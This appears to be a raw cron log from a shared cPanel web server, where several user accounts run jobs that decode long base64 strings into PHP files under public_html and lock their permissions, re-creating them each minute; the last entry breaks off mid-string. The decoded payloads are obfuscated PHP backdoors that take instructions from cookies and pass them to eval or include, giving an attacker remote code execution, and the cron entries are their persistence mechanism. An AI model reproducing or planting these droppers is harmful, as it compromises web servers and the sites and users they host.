Mar  1 21:51:01 medusa CROND[29041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:51:01 medusa CROND[29047]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:51:01 medusa CROND[29049]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:51:01 medusa CROND[29055]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:51:01 medusa CROND[29057]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:51:01 medusa CROND[29054]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 21:51:01 medusa CROND[29061]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 21:51:01 medusa CROND[29126]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:52:01 medusa CROND[15439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:52:01 medusa CROND[15584]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:52:01 medusa CROND[15585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:52:01 medusa CROND[15588]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:52:01 medusa CROND[15590]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:52:01 medusa CROND[15591]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:52:01 medusa CROND[15592]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:52:01 medusa CROND[15595]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:52:01 medusa CROND[15598]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:52:01 medusa CROND[15601]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:52:01 medusa CROND[15606]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:52:01 medusa CROND[15607]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 21:52:01 medusa CROND[15608]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:53:02 medusa CROND[5598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:53:02 medusa CROND[5642]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 21:53:02 medusa CROND[5645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:53:02 medusa CROND[5646]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:53:02 medusa CROND[5651]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:53:02 medusa CROND[5653]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:53:02 medusa CROND[5654]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:53:02 medusa CROND[5656]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:53:02 medusa CROND[5661]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:53:02 medusa CROND[5663]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:53:02 medusa CROND[5671]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpI